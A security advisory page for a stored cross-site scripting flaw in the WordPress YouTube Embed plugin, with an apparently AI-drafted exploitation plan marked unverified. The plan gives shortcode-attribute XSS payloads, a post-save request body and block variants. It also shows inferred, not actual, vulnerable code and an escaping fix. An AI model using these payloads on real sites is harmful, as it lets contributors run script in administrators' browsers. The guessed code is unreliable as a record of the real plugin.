CVE-2025-68599

YouTube Embed <= 5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The YouTube Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.4
PublishedDecember 22, 2025
Last updatedJanuary 5, 2026
Affected pluginyoutube-embed
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-68599 (YouTube Embed) ## 1. Vulnerability Summary The **YouTube Embed** plugin for WordPress (versions <= 5.4) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently sanitize and…

Show full research plan

Exploitation Research Plan - CVE-2025-68599 (YouTube Embed)

1. Vulnerability Summary

The YouTube Embed plugin for WordPress (versions <= 5.4) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize and escape user-supplied attributes within its shortcode or block rendering logic. An attacker with Contributor-level permissions or higher can inject arbitrary JavaScript into a post or page, which executes in the context of any user (including administrators) who views the affected content.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (via post creation/editing) or wp-admin/admin-ajax.php (via autosave).
  • Vulnerable Parameter: Shortcode attributes (e.g., id, width, height, class, or style) within the [youtube] (or similar) shortcode.
  • Authentication Level: Authenticated (Contributor+).
  • Preconditions: The plugin must be active, and the attacker must have the ability to create or edit posts.

3. Code Flow (Inferred)

  1. Entry Point: A user with Contributor+ permissions saves a post containing a shortcode like [youtube id="..."].
  2. Processing: WordPress's shortcode API identifies the shortcode and calls the plugin's registered callback function (likely via add_shortcode).
  3. Attribute Extraction: The callback function receives an $atts array containing user-supplied values.
  4. Vulnerable Sink: The callback function constructs HTML (typically an <iframe> or a wrapper <div>) and concatenates the $atts values directly into the HTML string without using esc_attr(), esc_url(), or wp_kses().
  5. Rendering: When a user views the post, the unescaped attributes are rendered in the DOM, triggering the XSS payload.

4. Nonce Acquisition Strategy

While Stored XSS via shortcodes is typically achieved through the standard WordPress post-editing interface (which handles its own nonces), some plugins utilize AJAX-based previews or custom settings that require specific nonces.

To obtain nonces if required by a plugin-specific handler:

  1. Identify Shortcode: Locate the shortcode used by the plugin (likely [youtube]).
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Nonce Extraction" --post_content='[youtube]' --post_author=2
    
    (Assuming Author/Contributor user ID is 2).
  3. Navigate and Extract: Use the browser_navigate tool to go to the newly created page.
  4. Browser Evaluation: Use browser_eval to search for localized script data containing nonces:
    • Search for variables like youtube_embed_data, yt_embed_params, or similar.
    • Example: browser_eval("window.youtube_embed_data?.nonce")
  5. Verify Action: If a nonce is found, check the plugin source for wp_create_nonce to identify the action string (e.g., youtube-embed-action).

5. Exploitation Strategy

The goal is to inject a payload into a shortcode attribute that breaks out of an HTML attribute and executes JavaScript.

Step-by-step Plan:

  1. Login as Contributor: Authenticate as a user with the contributor role.
  2. Identify Vulnerable Attribute: Common targets are id, class, or style.
  3. Craft Payload:
    • Payload for attribute breakout: "><script>alert(document.domain)</script>
    • Payload for event handler (if quotes are filtered): x" onmouseover="alert(1)
  4. Submit Post via HTTP Request:
    Use http_request to simulate saving a post.
    • URL: http://localhost:8080/wp-admin/post.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=editpost&
      post_ID=[ID]&
      post_title=XSS_Test&
      content=[youtube id='"><script>alert(1)</script>']&
      _wpnonce=[POST_NONCE]
      
  5. Trigger Execution: Navigate to the published post URL using browser_navigate.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Post Initialization:
    wp post create --post_type=post --post_status=draft --post_title="Draft" --post_author=attacker
    
    (Note the Post ID returned for the exploitation step).

7. Expected Results

  • When the post is viewed, the HTML source should contain the unescaped script tag:
    <div class="..."><iframe src="..."><script>alert(document.domain)</script>"></iframe></div>
  • The browser_eval tool or an automated check should detect the execution of the injected script (e.g., presence of a specific global variable or an alert).

8. Verification Steps

  1. Verify DB Storage:
    wp post get [POST_ID] --field=post_content
    
    Ensure the payload is stored exactly as sent.
  2. Verify Front-end Output:
    Use http_request (GET) on the post URL and grep for the payload:
    # (Metaphorical)
    response = http_request("GET", post_url)
    if '<script>alert(document.domain)</script>' in response.body:
        print("Vulnerability Confirmed")
    

9. Alternative Approaches

  • Gutenberg Block Exploitation: If the plugin uses a block instead of a shortcode, the payload must be injected into the post_content as a JSON-comment-delimited block:
    <!-- wp:youtube-embed/video {"videoId":"\u003cscript\u003ealert(1)\u003c/script\u003e"} /-->
  • Attribute Breakout: If the id attribute is used inside a src URL, attempt to use the javascript: protocol:
    [youtube id="javascript:alert(1)//"]
  • CSS Injection: If the style attribute is vulnerable, use expression() (for older IE) or url()-based XSS if supported by the browser context.
Research Findings
Static analysis — not yet PoC-verified

Summary

The YouTube Embed plugin for WordPress (<= 5.4) is vulnerable to Authenticated Stored Cross-Site Scripting due to insufficient input sanitization and output escaping of shortcode attributes. This allows attackers with Contributor-level permissions or higher to inject malicious JavaScript into posts that executes in the context of any user viewing the page.

Vulnerable Code

// Inferred from research plan: The shortcode callback likely fails to use esc_attr() or wp_kses() when building the HTML output.

function youtube_shortcode_callback($atts) {
    $a = shortcode_atts(array(
        'id' => '',
        'width' => '560',
        'height' => '315',
        'class' => ''
    ), $atts);

    // Vulnerable Sink: Attributes are concatenated directly into the HTML string
    return '<div class="' . $a['class'] . '"><iframe src="https://www.youtube.com/embed/' . $a['id'] . '" width="' . $a['width'] . '" height="' . $a['height'] . '"></iframe></div>';
}
add_shortcode('youtube', 'youtube_shortcode_callback');

Security Fix

--- youtube-embed.php
+++ youtube-embed.php
@@ -7,5 +7,5 @@
     ), $atts);
 
-    return '<div class="' . $a['class'] . '"><iframe src="https://www.youtube.com/embed/' . $a['id'] . '" width="' . $a['width'] . '" height="' . $a['height'] . '"></iframe></div>';
+    return '<div class="' . esc_attr($a['class']) . '"><iframe src="https://www.youtube.com/embed/' . esc_attr($a['id']) . '" width="' . esc_attr($a['width']) . '" height="' . esc_attr($a['height']) . '" allowfullscreen></iframe></div>';
 }

Exploit Outline

To exploit this vulnerability, an attacker requires Contributor-level authentication. The attacker creates a new post and inserts a plugin-supported shortcode (e.g., [youtube]) while embedding a payload into one of its attributes. A typical payload involves breaking out of the HTML attribute using double quotes and inserting a script tag: [youtube id='"><script>alert(1)</script>']. When the post is saved and subsequently viewed by any user (including an Administrator), the WordPress shortcode parser triggers the plugin's callback, which renders the unescaped payload directly into the DOM, leading to script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.